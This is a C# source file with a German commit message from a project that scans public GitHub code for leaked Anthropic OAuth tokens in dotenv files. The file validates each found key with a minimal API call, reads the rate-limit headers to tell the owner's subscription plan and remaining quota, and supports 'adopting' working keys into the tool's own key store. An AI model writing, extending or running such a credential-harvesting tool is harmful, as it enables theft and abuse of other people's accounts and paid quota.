Files
gott/Services/AnthropicKeyChecker.cs
T
Meleki 006ef223bf feat: GitHub Key Scanner mit automatischem Intervall und manueller UI
- KeyScannerService als BackgroundService (Timer + manueller Trigger)
- GitHub Code Search: sucht nach sk-ant-oat01-* Keys in Dotenv-Dateien
- AnthropicKeyChecker: shared Key-Check-Logik (ersetzt Duplikat in ApiKeysEndpoint)
- ScannedKeyRecord Model mit Soft-Delete und Adopt-Verknüpfung
- Scan-Endpoints: trigger, status, list, recheck, adopt, delete
- API-Keys-Page: Scanner-UI mit Status-Indikator und Scanned-Keys-Liste
- GitHub-URL pro gefundenem Key (html_url aus Search API)
- Server-Settings: GitHubToken + ScanIntervalHours konfigurierbar
- DB-Migration: scanned_keys Tabelle + api_keys Meta-Spalten (status, plan, usage)
- ApiKeyRecord erweitert um Status/Plan/Usage-Felder mit UpdateApiKeyMeta()
2026-03-12 15:35:22 +01:00

116 lines
5.4 KiB
C#
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
using System;
using System.Globalization;
using System.Linq;
using System.Net.Http;
using System.Net.Http.Headers;
using System.Text;
using System.Text.Json;
using System.Threading.Tasks;
namespace Gott.Services
{
public class KeyCheckResult
{
public string Status { get; set; } // "ok", "invalid", "rate_limited", "quota_exceeded", "error"
public string Message { get; set; }
public string Plan { get; set; } // "Max", "Pro", "Pro/Max", "API Console", "Unknown"
public bool IsSubscription { get; set; }
public double? Usage7d { get; set; }
public double? Usage5h { get; set; }
public double? Overage { get; set; }
public string Status7d { get; set; }
public string Status5h { get; set; }
public string StatusOverage { get; set; }
}
public static class AnthropicKeyChecker
{
public static async Task<KeyCheckResult> CheckKeyAsync(IHttpClientFactory httpFactory, string apiKey)
{
try
{
var client = httpFactory.CreateClient();
client.Timeout = TimeSpan.FromSeconds(30);
var payload = JsonSerializer.Serialize(new
{
model = "claude-sonnet-4-20250514",
max_tokens = 1,
messages = new[] { new { role = "user", content = "hi" } }
});
var request = new HttpRequestMessage(HttpMethod.Post, "https://api.anthropic.com/v1/messages");
request.Headers.Add("x-api-key", apiKey);
request.Headers.Add("anthropic-version", "2023-06-01");
request.Content = new StringContent(payload, Encoding.UTF8, "application/json");
var resp = await client.SendAsync(request);
var statusCode = (int)resp.StatusCode;
if (statusCode == 401)
return new KeyCheckResult { Status = "invalid", Message = "Ungültig oder abgelaufen (401)", Plan = "Unknown" };
if (statusCode == 429)
return new KeyCheckResult { Status = "rate_limited", Message = "Rate Limited (429)", Plan = "Unknown" };
if (statusCode == 403)
return new KeyCheckResult { Status = "quota_exceeded", Message = "Insufficient Quota (403)", Plan = "Unknown" };
if (statusCode >= 400)
return new KeyCheckResult { Status = "error", Message = $"API-Fehler ({statusCode})", Plan = "Unknown" };
// Key gültig – Header auslesen
var headers = resp.Headers;
var d7Util = GetHeader(headers, "anthropic-ratelimit-unified-7d-utilization", "unified-7d-utilization");
var d5hUtil = GetHeader(headers, "anthropic-ratelimit-unified-5h-utilization", "unified-5h-utilization");
var overageUtil = GetHeader(headers, "anthropic-ratelimit-unified-overage-utilization", "unified-overage-utilization");
var d7Status = GetHeader(headers, "anthropic-ratelimit-unified-7d-status", "unified-7d-status");
var d5hStatus = GetHeader(headers, "anthropic-ratelimit-unified-5h-status", "unified-5h-status");
var overageStatus = GetHeader(headers, "anthropic-ratelimit-unified-overage-status", "unified-overage-status");
var fallbackPct = GetHeader(headers, "anthropic-ratelimit-unified-fallback-percentage", "unified-fallback-percentage");
var isSubscription = d7Util != null || d5hUtil != null;
// Plan-Erkennung
string plan;
if (!isSubscription)
plan = "API Console";
else if (overageUtil != null && double.TryParse(overageUtil, NumberStyles.Float, CultureInfo.InvariantCulture, out var ov) && ov > 0)
plan = "Max";
else if (fallbackPct == null)
plan = "Pro";
else
plan = "Pro/Max";
var result = new KeyCheckResult
{
Status = "ok",
Plan = plan,
IsSubscription = isSubscription,
Status7d = d7Status,
Status5h = d5hStatus,
StatusOverage = overageStatus
};
if (d7Util != null && double.TryParse(d7Util, NumberStyles.Float, CultureInfo.InvariantCulture, out var d7))
result.Usage7d = Math.Round(d7 * 100, 1);
if (d5hUtil != null && double.TryParse(d5hUtil, NumberStyles.Float, CultureInfo.InvariantCulture, out var d5))
result.Usage5h = Math.Round(d5 * 100, 1);
if (overageUtil != null && double.TryParse(overageUtil, NumberStyles.Float, CultureInfo.InvariantCulture, out var ovVal))
result.Overage = Math.Round(ovVal * 100, 1);
return result;
}
catch (Exception ex)
{
return new KeyCheckResult { Status = "error", Message = ex.Message, Plan = "Unknown" };
}
}
private static string GetHeader(HttpResponseHeaders headers, params string[] names)
{
foreach (var name in names)
if (headers.TryGetValues(name, out var values))
return values.FirstOrDefault();
return null;
}
}
}